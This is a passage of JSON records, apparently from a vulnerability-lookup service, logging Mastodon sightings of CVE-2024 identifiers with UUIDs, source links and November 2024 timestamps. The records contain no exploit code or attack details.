"source": "https://infosec.exchange/users/cve/statuses/113445742184653595", "content": "", "creation_timestamp": "2024-11-08T05:44:10.688308Z"}, {"uuid": "b972c4a1-0dfc-4b41-bb3e-01dba1325f1e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50180", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/113445900961530207", "content": "", "creation_timestamp": "2024-11-08T06:24:33.236053Z"}, {"uuid": "0c269a2a-92b1-4f40-a5c3-13db393801fc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50183", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113445742200266929", "content": "", "creation_timestamp": "2024-11-08T05:44:11.169344Z"}, {"uuid": "1435073a-e5b9-4c0e-9b32-c994e91fc544", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50186", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113445801227443560", "content": "", "creation_timestamp": "2024-11-08T05:59:11.536744Z"}, {"uuid": "c3a286f9-d78e-49a9-a660-59b5cc818854", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50207", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/113445954103590573", "content": "", "creation_timestamp": "2024-11-08T06:38:04.075659Z"}, {"uuid": "aa2b28b9-2d82-47f2-9be9-d548d1c9f918", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50184", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113445801199082649", "content": "", "creation_timestamp": "2024-11-08T05:59:11.042905Z"}, {"uuid": "e5a7593d-005f-4fb2-9357-34d15890e166", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50187", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113445801240716850", "content": "", "creation_timestamp": "2024-11-08T05:59:11.769411Z"}, {"uuid": "437b2f46-0cfd-46e3-ac8a-5afd0fc2efc3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50185", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113445801212922754", "content": "", "creation_timestamp": "2024-11-08T05:59:11.275634Z"}, {"uuid": "9a811cc2-6659-430f-bec0-36b9db9dd98a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50188", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113445860243207980", "content": "", "creation_timestamp": "2024-11-08T06:14:11.915338Z"}, {"uuid": "2193a994-0bbe-4ea1-9248-4e618d40b752", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50208", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/113446009202206435", "content": "", "creation_timestamp": "2024-11-08T06:52:04.773681Z"}, {"uuid": "f7635c7b-c87d-4e18-9b35-42dde4c096bc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50206", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/113446060195952895", "content": "", "creation_timestamp": "2024-11-08T07:05:03.175195Z"}, {"uuid": "d661a23b-1f89-4e46-8f66-8065bbedd0c9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50193", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/113446164547181543", "content": "", "creation_timestamp": "2024-11-08T07:31:35.138849Z"}, {"uuid": "d31394d9-03a7-4e51-bd8f-70979b6bb972", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50198", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/113446219504583765", "content": "", "creation_timestamp": "2024-11-08T07:45:33.773937Z"}, {"uuid": "cbfee818-1b2f-4274-8565-04eae2b22b74", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50588", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113446434503005581", "content": "", "creation_timestamp": "2024-11-08T08:40:14.495477Z"}, {"uuid": "f80b8f09-9846-4d62-b4e9-6ea19c27be86", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50589", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113447151293840425", "content": "", "creation_timestamp": "2024-11-08T11:42:31.838425Z"}, {"uuid": "52c6b8fb-bc17-4eb0-999c-8e0b5fee8b52", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50590", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113447182733607853", "content": "", "creation_timestamp": "2024-11-08T11:50:31.525303Z"}, {"uuid": "41def19a-91c8-4a6f-9676-b0fad15cfe5b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50591", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113447263135426691", "content": "", "creation_timestamp": "2024-11-08T12:10:58.660246Z"}, {"uuid": "281f3df0-e9a4-492a-98d5-8413e0c860e2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50593", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113447263150943448", "content": "", "creation_timestamp": "2024-11-08T12:10:58.705279Z"}, {"uuid": "e338697e-c4e9-4b3a-9f82-5cf53fe7a384", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50592", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113447321476036755", "content": "", "creation_timestamp": "2024-11-08T12:25:48.520137Z"}, {"uuid": "7505b1b2-bd0e-4464-83a1-b3d3954a3a59", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50378", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113447849756495688", "content": "", "creation_timestamp": "2024-11-08T14:40:10.610615Z"}, {"uuid": "926b9b27-1f38-4f1d-ad66-5a06283af17b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50966", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113448127684241969", "content": "", "creation_timestamp": "2024-11-08T15:50:50.425576Z"}, {"uuid": "d0ea6e05-8182-42a4-b7a4-7577e809aa4a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50966", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113448139582998569", "content": "", "creation_timestamp": "2024-11-08T15:53:54.250341Z"}, {"uuid": "e3ec3fa3-c4dd-4e8f-95ba-1bc73ac395c7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50634", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113448443209203280", "content": "", "creation_timestamp": "2024-11-08T17:11:04.899467Z"}, {"uuid": "6db8c52d-de74-4aa9-b970-f7c0571e5a95", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50310", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113470368567680188", "content": "", "creation_timestamp": "2024-11-12T14:06:59.312163Z"}, {"uuid": "6d980a7c-7457-4338-8281-79dd68c76932", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50558", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113470368610434851", "content": "", "creation_timestamp": "2024-11-12T14:07:00.164489Z"}, {"uuid": "6c86ac87-1c1b-4e0a-a04c-c1bced9921b9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50313", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113470368581389996", "content": "", "creation_timestamp": "2024-11-12T14:06:59.516065Z"}, {"uuid": "659dba09-9a03-4bef-b389-ac64adaae71f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50557", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113470368595573976", "content": "", "creation_timestamp": "2024-11-12T14:06:59.992408Z"}, {"uuid": "92381b7f-3300-405b-9247-a66dc70cc0eb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50323", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113470802560763564", "content": "", "creation_timestamp": "2024-11-12T15:57:21.476653Z"}, {"uuid": "ea425356-2703-4703-a60b-2696cad5c5d3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50326", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113470802590174039", "content": "", "creation_timestamp": "2024-11-12T15:57:21.982552Z"}, {"uuid": "b1d56655-9d1b-46d2-b7fe-79c76c94f5b1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50327", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113470802604182831", "content": "", "creation_timestamp": "2024-11-12T15:57:22.381023Z"}, {"uuid": "aa1429ec-58a4-492a-9b78-04afd01e8bfb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50811", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113448897829537222", "content": "", "creation_timestamp": "2024-11-08T19:06:41.759340Z"}, {"uuid": "a5a89ef3-cb2f-4356-be1d-ebe28fab44e9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50808", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113449377391121331", "content": "", "creation_timestamp": "2024-11-08T21:08:39.353080Z"}, {"uuid": "29074ced-91cf-4072-a6a6-7952735df7e4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50809", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113449377404933448", "content": "", "creation_timestamp": "2024-11-08T21:08:39.629964Z"}, {"uuid": "fef6d730-94f4-44c1-bd3f-8feee459c503", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50559", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113470427614824827", "content": "", "creation_timestamp": "2024-11-12T14:22:00.458750Z"}, {"uuid": "881ec695-d8f1-4c1b-ac2d-f3e756ee5780", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50560", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113470427631758592", "content": "", "creation_timestamp": "2024-11-12T14:22:00.696435Z"}, {"uuid": "f7591e90-61be-43f1-9261-8f9ab8873a85", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50561", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113470427647496718", "content": "", "creation_timestamp": "2024-11-12T14:22:01.015362Z"}, {"uuid": "0d330eac-2ec6-45de-95b6-c912e0b797c8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50572", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113470427663412276", "content": "", "creation_timestamp": "2024-11-12T14:22:01.241773Z"}, {"uuid": "ba7ff6bc-12b3-46dc-ae41-81e772431307", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50322", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113470743557850513", "content": "", "creation_timestamp": "2024-11-12T15:42:21.204338Z"}, {"uuid": "f9770191-a608-43f7-9dbc-d0e6384dedb3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50331", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113470861610596963", "content": "", "creation_timestamp": "2024-11-12T16:12:22.533487Z"}, {"uuid": "dc5932b5-e606-4cb2-8548-b1dcdfe69bc3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50810", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113448897795199522", "content": "", "creation_timestamp": "2024-11-08T19:06:41.277520Z"}, {"uuid": "09bd05f8-02cc-4493-b151-083245c49e53", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50324", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113470802575526533", "content": "", "creation_timestamp": "2024-11-12T15:57:22.150580Z"}, {"uuid": "568fb533-0bc6-4596-a906-efa2eacfa3b0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50524", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113452283554153746", "content": "", "creation_timestamp": "2024-11-09T09:27:43.900562Z"}, {"uuid": "cf690894-15b4-4b1e-9942-50a442ebf3c8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50539", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113452283569637144", "content": "", "creation_timestamp": "2024-11-09T09:27:44.287234Z"}, {"uuid": "3794dbb2-d2ac-4454-b9f4-c700612a3f18", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50212", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113452487103638474", "content": "", "creation_timestamp": "2024-11-09T10:19:29.766092Z"}, {"uuid": "2854be71-1b46-46bb-869f-03c7e6971df1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50213", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113452487117646128", "content": "", "creation_timestamp": "2024-11-09T10:19:30.149242Z"}, {"uuid": "83e05041-8edd-4e24-abb2-31697f4f80bd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50214", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113452487131695548", "content": "", "creation_timestamp": "2024-11-09T10:19:30.425337Z"}, {"uuid": "3e0c97e6-f2a9-4edf-9dc2-bb6b34a62953", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50215", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113452487145179203", "content": "", "creation_timestamp": "2024-11-09T10:19:30.534368Z"}, {"uuid": "9db7e1d5-b063-48db-924a-8086be34f949", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50216", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113452546145460105", "content": "", "creation_timestamp": "2024-11-09T10:34:30.762019Z"}, {"uuid": "a926b98e-f9c3-41f3-9383-40088e45b39c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50217", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113452546160295795", "content": "", "creation_timestamp": "2024-11-09T10:34:31.018079Z"}, {"uuid": "0a6b458f-1ef2-4780-b4a7-8576999a7785", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50218", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113452546174552073", "content": "", "creation_timestamp": "2024-11-09T10:34:31.312524Z"}, {"uuid": "7168ccdf-d8a3-42f8-8b01-f839522d68a0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50219", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113452546189851707", "content": "", "creation_timestamp": "2024-11-09T10:34:32.349050Z"}, {"uuid": "71c2ad82-7a56-4276-b470-82b098dfe686", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50220", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113452605193069449", "content": "", "creation_timestamp": "2024-11-09T10:49:31.813175Z"}, {"uuid": "2ad0eb68-5831-41f0-9c86-5539ae514f02", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50221", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113452605207248828", "content": "", "creation_timestamp": "2024-11-09T10:49:32.260877Z"}, {"uuid": "828a28c0-04d0-45db-b5fb-9d6dd887af6b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50222", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113452605242058677", "content": "", "creation_timestamp": "2024-11-09T10:49:32.566135Z"}, {"uuid": "ce6ff349-2534-492f-854f-6a9ab51d1e66", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50223", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113452605277707696", "content": "", "creation_timestamp": "2024-11-09T10:49:33.025437Z"}, {"uuid": "cb4d0eaf-4410-4e83-abb0-342e7724c843", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50224", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113452664277681861", "content": "", "creation_timestamp": "2024-11-09T11:04:33.348237Z"}, {"uuid": "879af7fe-2d81-4316-9f09-92380cb924c7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50225", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113452664311197246", "content": "", "creation_timestamp": "2024-11-09T11:04:33.837517Z"}, {"uuid": "7a3fbece-b665-492a-aef8-17ea904c15cf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50226", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113452664325390639", "content": "", "creation_timestamp": "2024-11-09T11:04:34.039202Z"}, {"uuid": "0194d89f-ef2e-46f3-9030-52b29f9ceb2e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50227", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113452664339761844", "content": "", "creation_timestamp": "2024-11-09T11:04:34.303818Z"}, {"uuid": "abc3046c-2d0b-4754-8770-8e12b3f72a02", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50228", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113452723340208118", "content": "", "creation_timestamp": "2024-11-09T11:19:34.596044Z"}, {"uuid": "86e5f70c-ae4c-477e-a552-9ffc9c5edfb5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50229", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113452723354557842", "content": "", "creation_timestamp": "2024-11-09T11:19:34.706389Z"}, {"uuid": "c47bb130-decc-43c3-845f-85d4b305340f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50230", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113452723368145362", "content": "", "creation_timestamp": "2024-11-09T11:19:35.265631Z"}, {"uuid": "63642d1a-26fb-4ead-bea8-552a743a678f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50231", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113452723382183810", "content": "", "creation_timestamp": "2024-11-09T11:19:35.299224Z"}, {"uuid": "ff7dddb3-a268-412b-b5dd-a1594fb44934", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50232", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113452782385142866", "content": "", "creation_timestamp": "2024-11-09T11:34:35.518259Z"}, {"uuid": "82df8fc6-b203-47e4-bb79-23572bf885d6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50233", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113452782400188146", "content": "", "creation_timestamp": "2024-11-09T11:34:35.808780Z"}, {"uuid": "dcf48a7f-0cb0-4d0f-a89e-d17fe50ddae0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50234", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113452782414418318", "content": "", "creation_timestamp": "2024-11-09T11:34:36.287554Z"}, {"uuid": "f1c0bfa5-2399-4733-b52e-0382fa2bfe66", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50235", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113452782430349430", "content": "", "creation_timestamp": "2024-11-09T11:34:36.321603Z"}, {"uuid": "59142331-cbe5-4097-a94b-8b4c464b3f15", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50248", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/113452841278998994", "content": "", "creation_timestamp": "2024-11-09T11:49:34.016351Z"}, {"uuid": "76689494-1f25-4f4d-9f4f-72547dabbbfb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50236", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113452841433341320", "content": "", "creation_timestamp": "2024-11-09T11:49:36.566419Z"}, {"uuid": "83089131-bf6e-4e74-857f-4b5bac587ddc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50238", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113452841462010539", "content": "", "creation_timestamp": "2024-11-09T11:49:36.909638Z"}, {"uuid": "66b14fe8-61e3-49d3-a99c-61805bf6a31c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50237", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113452841447399084", "content": "", "creation_timestamp": "2024-11-09T11:49:36.974700Z"}, {"uuid": "73eb7664-b1ca-4bb8-a4a6-9bad27b04c3d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50239", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113452841475460996", "content": "", "creation_timestamp": "2024-11-09T11:49:37.287739Z"}, {"uuid": "e4913528-3202-415f-a1a3-9a76aae9116f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50240", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113452900478245023", "content": "", "creation_timestamp": "2024-11-09T12:04:37.394726Z"}, {"uuid": "319b4adb-f912-4541-9883-602a0f05c0d4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50241", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113452900491545605", "content": "", "creation_timestamp": "2024-11-09T12:04:37.498295Z"}, {"uuid": "e317072b-5565-4240-a908-3d9b5a910df1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50242", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113452900524665333", "content": "", "creation_timestamp": "2024-11-09T12:04:38.198707Z"}, {"uuid": "477cc48d-d49f-4495-a243-4c45c5ce0397", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50243", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113452900539851936", "content": "", "creation_timestamp": "2024-11-09T12:04:38.482345Z"}, {"uuid": "3a73f3df-d7ca-476e-9df1-1ab6c171f0e7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50244", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113452959542456354", "content": "", "creation_timestamp": "2024-11-09T12:19:38.644628Z"}, {"uuid": "d72bcd9a-4af5-41f7-9972-657065d0bd1d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50245", "type": "seen", "source": 